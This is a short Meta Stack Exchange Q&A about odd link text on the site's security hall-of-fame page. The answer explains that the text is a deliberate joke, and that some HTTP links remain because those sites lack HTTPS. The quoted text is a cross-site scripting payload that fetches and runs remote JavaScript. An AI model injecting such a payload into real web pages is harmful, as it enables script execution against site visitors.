I recently found this website: https://stackexchange.com/about/security

I noticed this:

2009-2010 | Daniel LeCheminant | javascript:$.getScript("http://danlec.com/xss.js")

I don't think that's how the link is supposed to be shown. Please fix it.

Also, I noticed some HTTP links. Please change them to HTTPS links.

1 Answer 1


The javascript:$.getScript("http://danlec.com/xss.js") is on purpose. That's how he "hacked" the site, so it's kind of pun/internal joke. Notice the link itself is fine; that's only the text.

As for non https links, it's also on purpose. That's the URL addresses given to SE by those people.

Some just don't work with https, e.g. http://www.thesamet.com/, so forcing https on the links would break some of them, which isn't good idea. If you prefer to not visit a non-https site, that's fair and is your call.

  • Well, the links which support HTTPS can be modified at least. Commented Nov 18, 2021 at 15:13
  • 2
    add the thathus-buy-des-SIGN tag ? Commented Nov 18, 2021 at 15:37

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .